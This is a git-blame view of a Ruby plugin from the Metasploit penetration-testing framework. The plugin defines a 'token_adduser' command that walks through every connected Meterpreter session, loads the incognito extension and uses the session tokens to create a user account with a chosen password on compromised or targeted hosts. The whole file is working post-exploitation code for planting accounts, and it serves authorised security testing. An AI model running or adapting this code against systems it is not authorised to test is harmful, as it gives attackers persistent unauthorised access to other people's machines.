Files
metasploit-gs/plugins/token_adduser.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

110 lines
2.9 KiB
Ruby
Raw Normal View History

#
2011-10-27 22:46:12 +00:00
# $Id$
#
# This is a modified version of token_hunter.rb. Credit to
# jduck (I believe) for much of the base code here.
#
# The goal of this script is to attempt to add a user via
# incognito using all connected meterpreter sessions.
#
# jseely[at]relaysecurity.com
#
2011-10-27 22:46:12 +00:00
# TODO: This should probably find new life as a post module.
module Msf
2023-01-30 12:25:46 +11:00
class Plugin::TokenAdduser < Msf::Plugin
2023-01-30 12:25:46 +11:00
class TokenCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
2023-01-30 12:25:46 +11:00
def name
'Token Adduser'
end
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
def commands
{
'token_adduser' => 'Attempt to add an account using all connected meterpreter session tokens'
}
end
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
def cmd_token_adduser(*args)
opts = Rex::Parser::Arguments.new(
'-h' => [ true, 'Add account to host']
)
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
# This is ugly.
2023-01-30 13:05:34 +11:00
if args.empty?
2023-01-30 12:25:46 +11:00
print_line('Usage: token_adduser [options] <username> <password>')
print_line(opts.usage)
return
end
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
opt_user_pass = []
username = nil
password = nil
host = nil
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
host = val
else
# Excuse my weak ruby skills. I'm sure there's a better way to get username and password
# from the args.
opt_user_pass << val
end
2013-09-30 13:47:53 -05:00
end
2023-01-30 12:25:46 +11:00
# Again, I'm sure there's a better way to do this.
username = opt_user_pass[0]
password = opt_user_pass[1]
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
framework.sessions.each_key do |sid|
session = framework.sessions[sid]
next unless session.type == 'meterpreter'
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
print_status(">> Opening session #{session.sid} / #{session.session_host}")
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
unless session.incognito
session.core.use('incognito')
end
unless session.incognito
print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
next
end
# print "DEBUG #{username} #{password}\n"
res = session.incognito.incognito_add_user(host, username, password)
next unless res
2013-09-30 13:47:53 -05:00
print "#{res}\n"
# Currently only stops on success if a user is trying to be added to a specific
# host. I can't think of a good reason to stop on success (or even make it an option)
# when trying to add a user to local sessions.
2023-01-30 12:25:46 +11:00
if host && (res =~ /\[\+\] Successfully|\[-\] Password does not meet complexity requirements|\[-\] User already exists/)
break
2013-09-30 13:47:53 -05:00
end
end
end
end
2023-01-30 12:25:46 +11:00
def initialize(framework, opts)
super
add_console_dispatcher(TokenCommandDispatcher)
end
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
def cleanup
remove_console_dispatcher('Token Adduser')
end
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
def name
'token_adduser'
end
2013-09-30 13:47:53 -05:00
2023-01-30 12:25:46 +11:00
def desc
'Attempt to add an account using all connected Meterpreter session tokens'
2023-01-30 12:25:46 +11:00
end
2013-09-30 13:47:53 -05:00
end
end